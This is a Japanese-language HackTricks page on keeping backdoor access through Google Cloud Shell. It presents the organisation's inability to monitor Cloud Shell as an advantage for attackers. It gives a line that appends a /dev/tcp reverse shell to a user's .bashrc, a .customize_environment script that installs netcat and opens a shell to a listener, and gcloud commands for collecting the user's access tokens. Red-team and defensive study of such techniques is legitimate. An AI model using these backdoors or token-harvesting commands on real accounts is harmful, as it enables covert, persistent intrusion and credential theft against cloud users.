GCP - Cloud Shell Persistence

Support HackTricks

Cloud Shell

詳細については、次を確認してください:

Persistent Backdoor

Google Cloud Shell は、関連するコストなしにブラウザから直接クラウドリソースへのコマンドラインアクセスを提供します。

ウェブコンソールから、または**gcloud cloud-shell ssh**を実行することでGoogleのCloud Shellにアクセスできます。

このコンソールには攻撃者にとって興味深い機能があります:

  1. Google Cloudにアクセスできる任意のGoogleユーザーは、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウントは、組織のオーナーであってもアクセス可能です)。

  2. そのインスタンスは、活動がない場合、少なくとも120日間はホームディレクトリを維持します

  3. そのインスタンスの活動を組織が監視する能力はありません

これは基本的に、攻撃者がユーザーのホームディレクトリにバックドアを設置でき、ユーザーが少なくとも120日ごとにGC Shellに接続する限り、バックドアは生き残り、攻撃者は実行するたびにシェルを取得できることを意味します:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

ホームフォルダには、.customize_environment という別のファイルがあり、存在する場合はユーザーが cloud shell にアクセスするたびに 実行されます(前の技術と同様に)。前述のバックドアまたは以下のようなものを挿入して、ユーザーが「頻繁に」cloud shell を使用している限り、持続性を維持します:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

重要な点は、認証を必要とするアクションが初めて実行されるとき、ユーザーのブラウザにポップアップ認証ウィンドウが表示されることです。このウィンドウは、コマンドを実行する前に受け入れられなければなりません。予期しないポップアップが表示されると、疑念を引き起こし、使用している持続性メソッドが危険にさらされる可能性があります。

これは、クラウドシェルから gcloud projects list を実行したときのポップアップ(攻撃者として)で、ブラウザのユーザーセッションで表示されます:

しかし、ユーザーがクラウドシェルを積極的に使用している場合、ポップアップは表示されず、ユーザーのトークンを収集することができます

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH接続の確立方法

基本的に、これらの3つのAPI呼び出しが使用されます:

しかし、さらなる情報はhttps://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-keyで見つけることができます。

参考文献

HackTricksをサポートする

Last updated